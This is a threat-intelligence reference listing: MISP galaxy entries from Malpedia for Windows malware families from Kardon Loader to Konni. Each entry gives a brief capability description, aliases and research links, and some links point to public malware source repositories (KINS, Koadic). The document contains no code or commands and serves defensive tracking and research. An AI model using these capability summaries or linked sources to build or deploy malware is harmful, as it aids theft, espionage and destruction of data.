https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: *misp-galaxy:malpedia="Kardon Loader"*

Kardon Loader is also known as:

Table 4217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader
https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/
https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab

Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: *misp-galaxy:malpedia="Karius"*

Karius is also known as:

Table 4218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karius
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://research.checkpoint.com/banking-trojans-development/

Karkoff

The tag is: *misp-galaxy:malpedia="Karkoff"*

Karkoff is also known as:

- CACTUSPIPE
- MailDropper
- OILYFACE

Table 4219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff
https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://mp.weixin.qq.com/s/o_EVjBVN2sQ1q7cl4rUXoQ
https://blog.telsy.com/apt34-aka-oilrig-attacks-lebanon-government-entities-with-maildropper-implant/
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://blog.yoroi.company/research/karkoff-2020-a-new-apt34-espionage-operation-involves-lebanon-government/

Karma

Ransomware.

The tag is: *misp-galaxy:malpedia="Karma"*

Karma is also known as:

Table 4220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karma
https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.youtube.com/watch?v=hgz5gZB3DxE
https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware
https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/

KasperAgent

The tag is: *misp-galaxy:malpedia="KasperAgent"*

KasperAgent is also known as:

Table 4221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://www.threatconnect.com/blog/kasperagent-malware-campaign/

Kasseika

Trend Micro describes this as a Ransomware with possible ties to BlackMatter.

The tag is: *misp-galaxy:malpedia="Kasseika"*

Kasseika is also known as:

Table 4222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasseika
https://www.trendmicro.com/en_us/research/24/a/kasseika-ransomware-deploys-byovd-attacks-abuses-psexec-and-expl.html

Katz Stealer

The tag is: *misp-galaxy:malpedia="Katz Stealer"*

Katz Stealer is also known as:

Table 4223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.katz_stealer
https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/

Kazuar

The tag is: *misp-galaxy:malpedia="Kazuar"*

Kazuar is also known as:

Table 4224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar
https://unit42.paloaltonetworks.com/pensive-ursa-uses-upgraded-kazuar-backdoor/
https://www.epicturla.com/blog/sysinturla
https://youtu.be/SW8kVkwDOrc?t=24706
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://cert.gov.ua/article/5213167
https://twitter.com/msftsecintel/status/1681695399084539908
https://securelist.com/apt-trends-report-q1-2021/101967/
https://securelist.com/sunburst-backdoor-kazuar/99981/
https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

KazyLoader

According to Karsten Hahn, a straightforward loader that runs assemblies from images.

The tag is: *misp-galaxy:malpedia="KazyLoader"*

KazyLoader is also known as:

Table 4225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader
https://twitter.com/struppigel/status/1501105224819392516

KDC Sponge

The tag is: *misp-galaxy:malpedia="KDC Sponge"*

KDC Sponge is also known as:

Table 4226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge
https://us-cert.cisa.gov/ncas/alerts/aa21-336a

Kegotip

The tag is: *misp-galaxy:malpedia="Kegotip"*

Kegotip is also known as:

Table 4227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

KEKW

Ransomware.

The tag is: *misp-galaxy:malpedia="KEKW"*

KEKW is also known as:

- KEKW-Locker

Table 4228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kekw
https://id-ransomware.blogspot.com/2020/03/kekw-ransomware.html

Kelihos

The tag is: *misp-galaxy:malpedia="Kelihos"*

Kelihos is also known as:

Table 4229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos
https://www.bleepingcomputer.com/news/security/us-convicts-russian-national-behind-kelihos-botnet-crypting-service/
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/
https://www.justice.gov/opa/pr/russian-national-convicted-charges-relating-kelihos-botnet
https://en.wikipedia.org/wiki/Kelihos_botnet
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://www.crowdstrike.com/blog/farewell-to-kelihos-and-zombie-spider/
https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/
https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/

Kematian Stealer

Stealer written in Python, available as open source on Github.

The tag is: *misp-galaxy:malpedia="Kematian Stealer"*

Kematian Stealer is also known as:

Table 4230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kematian
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html
https://www.linkedin.com/posts/threatmon_kematian-stealer-technical-malware-analysis-ugcPost-7219295620807696384-8bde?utm_source=share&utm_medium=member_desktop
https://labs.k7computing.com/index.php/kematian-stealer-forked-from-powershell-token-grabber/

Keona

The tag is: *misp-galaxy:malpedia="Keona"*

Keona is also known as:

Table 4231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keona
https://twitter.com/3xp0rtblog/status/1536704209760010241

KerrDown

The tag is: *misp-galaxy:malpedia="KerrDown"*

KerrDown is also known as:

Table 4232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam
https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/
https://blog.cystack.net/word-based-malware-attack/

https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
https://www.amnesty.de/sites/default/files/2021-02/Amnesty-Bericht-Vietnam-Click-And-Bait-Blogger-Deutschland-Spionage-Menschenrechtsverteidiger-Februar-2021.pdf

Ketrican

Ketrican is a backdoor trojan used by APT 15.

The tag is: *misp-galaxy:malpedia="Ketrican"*

Ketrican is also known as:

Table 4233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/
https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf

Ketrum

Intezer found this family mid May 2020, which appears to be a merger of the family Ketrican and Okrum.

The tag is: *misp-galaxy:malpedia="Ketrum"*

Ketrum is also known as:

Table 4234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/

KeyBase

KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.

The tag is: *misp-galaxy:malpedia="KeyBase"*

KeyBase is also known as:

- Kibex

Table 4235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase
https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/
https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/
https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html
https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/
https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/
https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017
https://voidsec.com/keybase-en/

KeyBoy

The tag is: *misp-galaxy:malpedia="KeyBoy"*

KeyBoy is also known as:

- TSSL

Table 4236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://www.secureworks.com/research/threat-profiles/bronze-hobart
https://citizenlab.ca/2016/11/parliament-keyboy/
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html

Keyhole

According to Walmart Global Tech, Keyhole is a multi-functional VNC/Backconnect component used extensively by IcedID/Anubis. While the malware contains functionality that has been previously reported on as typical VNC and HDESK capabilities, a general lack of technical information appears to exist around some of the expanded functionality currently present.

The tag is: *misp-galaxy:malpedia="Keyhole"*

Keyhole is also known as:

Table 4237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole
https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03
https://www.netresec.com/?page=Blog&month=2025-12&post=Latrodectus-BackConnect

APT3 Keylogger

The tag is: *misp-galaxy:malpedia="APT3 Keylogger"*

APT3 Keylogger is also known as:

Table 4238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3
https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html
https://twitter.com/smoothimpact/status/773631684038107136
https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

KEYMARBLE

The tag is: *misp-galaxy:malpedia="KEYMARBLE"*

KEYMARBLE is also known as:

Table 4239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://research.checkpoint.com/north-korea-turns-against-russian-targets/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/

KGH_SPY

The tag is: *misp-galaxy:malpedia="KGH_SPY"*

KGH_SPY is also known as:

Table 4240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy
https://mp.weixin.qq.com/s/cbaePmZSk_Ob0r486RMXyw
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Khonsari

A compact ransomware written in .NET and delivered as follow-up to Log4J exploitation, targeting Windows servers.

The tag is: *misp-galaxy:malpedia="Khonsari"*

Khonsari is also known as:

Table 4241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari
https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/
https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://assets.virustotal.com/reports/2021trends.pdf

KHRAT

According to Unit42, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: *misp-galaxy:malpedia="KHRAT"*

KHRAT is also known as:

Table 4242. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat
https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

Kikothac

The tag is: *misp-galaxy:malpedia="Kikothac"*

Kikothac is also known as:

Table 4243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac
https://www.group-ib.com/resources/threat-research/silence.html

KillAV

The tag is: *misp-galaxy:malpedia="KillAV"*

KillAV is also known as:

- BURNTCIGAR

Table 4244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killav
https://cyber.aon.com/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/
https://www.mandiant.com/resources/unc2596-cuba-ransomware
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://www.quorumcyber.com/threat-actors/scattered-spider-threat-actor-profile/

KillDisk

KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them.

The tag is: *misp-galaxy:malpedia="KillDisk"*

KillDisk is also known as:

Table 4245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk
https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://www.ctfiot.com/224570.html
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://attack.mitre.org/groups/G0034
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks

KilllSomeOne

The tag is: *misp-galaxy:malpedia="KilllSomeOne"*

KilllSomeOne is also known as:

Table 4246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killsomeone
https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/

KimJongRat

The tag is: *misp-galaxy:malpedia="KimJongRat"*

KimJongRat is also known as:

Table 4247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat
https://unit42.paloaltonetworks.com/kimjongrat-stealer-variant-powershell/
https://www.reuters.com/article/us-usa-election-cyber-louisiana-exclusiv/exclusive-national-guard-called-in-to-thwart-cyberattack-in-louisiana-weeks-before-election-idUSKBN27823F

Kimsuky

The tag is: *misp-galaxy:malpedia="Kimsuky"*

Kimsuky is also known as:

Table 4248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky
https://asec.ahnlab.com/en/53046/
https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html
https://metaswan.github.io/posts/Malware-Kimsuky-group’s-resume-impersonation-malware
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/
https://blog.prevailion.com/2019/09/autumn-aperture-report.html
https://asec.ahnlab.com/en/30532/
https://web.archive.org/web/20200401171809/https://blog.prevailion.com/2019/09/autumn-aperture-report.html
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/
https://asec.ahnlab.com/en/37396/
https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign
https://blog.alyac.co.kr/2347

https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure
https://threatmon.io/unraveling-the-layers-analysis-of-kimsukys-multi-staged-cyberattack/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf
https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html
https://hunt.io/blog/million-ok-naver-facade-kimsuky-tracking
https://www.aryaka.com/docs/reports/aryaka-kimsuky-apt-operational-blueprint.pdf

Kingminer

According to Sophis, the botnet has been active since 2018, initially, the botmasters operated DDoS tools and backdoors, but later moved on to cryptocurrency miners. They use a DGA to automatically change the hosting domains every week.

The tag is: *misp-galaxy:malpedia="Kingminer"*

Kingminer is also known as:

Table 4249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf
https://news.sophos.com/en-us/2020/06/09/kingminer-report/
https://asec.ahnlab.com/en/32572/
https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf
https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html
https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/

KINS

The tag is: *misp-galaxy:malpedia="KINS"*

KINS is also known as:

- Kasper Internet Non-Security
- Maple

Table 4250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kins
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://github.com/nyx0/KINS
https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html

KIVARS (Windows)

The tag is: *misp-galaxy:malpedia="KIVARS (Windows)"*

KIVARS (Windows) is also known as:

Table 4251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/
https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt

KiwiStealer

According to Threatray, KiwiStealer is a simple file stealer first discovered in late 2024. It starts by gathering the computer name and username. It also retrieves the current system time, which will be used later to check the last modification time of files on the machine. KiwiStealer searches through a predefined list of directories to gather files and only exfiltrates files that are smaller than 50MB and have been modified within the past year. It targets these extensions: z7, .txt, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .jpg, .zip, .rar, .apk, .neat, .err, .eln, .ppi, .er9, .azr, .pfx, .ovpn.

The tag is: *misp-galaxy:malpedia="KiwiStealer"*

KiwiStealer is also known as:

Table 4252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kiwistealer
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two

kkRAT

According to Zscaler, a malware sharing similarities with GhostRAT and Big Bad Wolf. The RAT's features include clipboard manipulation to replace cryptocurrency addresses and the deployment of remote monitoring tools (i.e. Sunlogin, GotoHTTP).

The tag is: *misp-galaxy:malpedia="kkRAT"*

kkRAT is also known as:

Table 4253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kk_rat
https://www.zscaler.com/blogs/security-research/technical-analysis-kkrat

Klackring

Microsoft describes that threat actor ZINC is using Klackring as a malware dropped by ComeBacker, both being used to target security researchers.

The tag is: *misp-galaxy:malpedia="Klackring"*

Klackring is also known as:

Table 4254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klackring
https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/

KleptoParasite Stealer

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

The tag is: *misp-galaxy:malpedia="KleptoParasite Stealer"*

KleptoParasite Stealer is also known as:

- Joglog
- Parasite

Table 4255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer

KlingonRAT

The tag is: *misp-galaxy:malpedia="KlingonRAT"*

KlingonRAT is also known as:

Table 4256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klingon_rat
https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/

KLogEXE

The tag is: *misp-galaxy:malpedia="KLogEXE"*

KLogEXE is also known as:

Table 4257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klogexe
https://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/

KLRD

The tag is: *misp-galaxy:malpedia="KLRD"*

KLRD is also known as:

Table 4258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html

Knight

According to Symantec, this is a ransomware written in Golang and obfuscated with Gobfuscate. The source code for Knight (originally known as Cyclops) was offered for sale on underground forums in February 2024 after Knight's developers decided to shut down their operation.

The tag is: *misp-galaxy:malpedia="Knight"*

Knight is also known as:

- Cyclops

Table 4259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.knight
https://symantec-enterprise-blogs.security.com/threat-intelligence/ransomhub-knight-ransomware

Knot

Ransomware.

The tag is: *misp-galaxy:malpedia="Knot"*

Knot is also known as:

Table 4260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.knot
https://twitter.com/malwrhunterteam/status/1345313324825780226

Koadic

Koadic is an open-source post-exploitation framework for Windows, created by zerosum0x0 and available on GitHub. The framework is written in Python and can generate JScript and VBScript payloads which can be written to disk or mapped directly into memory. Its capabilities include remote desktop access, command execution, lateral movement via SMB, file transfer, credential theft using Mimikatz, port scanning, and system information collection. It can also collect specific system information and targeted files based on their name or extension.

The tag is: *misp-galaxy:malpedia="Koadic"*

Koadic is also known as:

Table 4261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://www.secureworks.com/research/threat-profiles/cobalt-trinity

http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://blog.tofile.dev/2020/11/28/koadic_jarm.html
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.secureworks.com/research/threat-profiles/gold-drake
https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

Koi Loader

The tag is: *misp-galaxy:malpedia="Koi Loader"*

Koi Loader is also known as:

Table 4262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koiloader
https://www.esentire.com/blog/the-long-and-shortcut-of-it-koiloader-analysis
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
https://www.esentire.com/blog/unraveling-not-azorult-but-koi-loader-a-precursor-to-koi-stealer

Koi Stealer

The tag is: *misp-galaxy:malpedia="Koi Stealer"*

Koi Stealer is also known as:

Table 4263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koistealer
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
https://www.esentire.com/blog/unraveling-not-azorult-but-koi-loader-a-precursor-to-koi-stealer

KoiVM

A loader written in .NET.

The tag is: *misp-galaxy:malpedia="KoiVM"*

KoiVM is also known as:

Table 4264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koivm
https://labs.k7computing.com/index.php/koivm-loader-resurfaces-with-a-bang/

KokoKrypt

The tag is: *misp-galaxy:malpedia="KokoKrypt"*

KokoKrypt is also known as:

Table 4265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt
https://twitter.com/struppigel/status/812726545173401600
https://twitter.com/struppigel/status/1249386991197847558

KOMPROGO

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.

The tag is: *misp-galaxy:malpedia="KOMPROGO"*

KOMPROGO is also known as:

- Splinter RAT

Table 4266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf
https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx

Konni (Windows)

Konni is a remote administration tool, observed in the wild since early 2014. The Konni malware family is potentially linked to APT37, a North-Korean cyber espionage group active since 2012. The group primary victims are South-Korean political organizations, as well as Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.

The tag is: *misp-galaxy:malpedia="Konni (Windows)"*

Konni (Windows) is also known as:

Table 4267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.konni
https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/
https://e.cyberint.com/hubfs/Cyberint_Konni%20Malware%202019%20Campaign_Report.pdf
https://blog.alyac.co.kr/2474
https://www.bleepingcomputer.com/news/security/north-korean-hackers-attack-eu-targets-with-konni-rat-malware/
https://nsfocusglobal.com/the-new-apt-group-darkcasino-and-the-global-surge-in-winrar-0-day-exploits/
https://threatmon.io/the-konni-apt-chronicle-tracing-their-intelligence-driven-attack-chain/
https://cluster25.io/wp-content/uploads/2022/01/Konni_targeting_Russian_diplomatic_sector.pdf
https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b
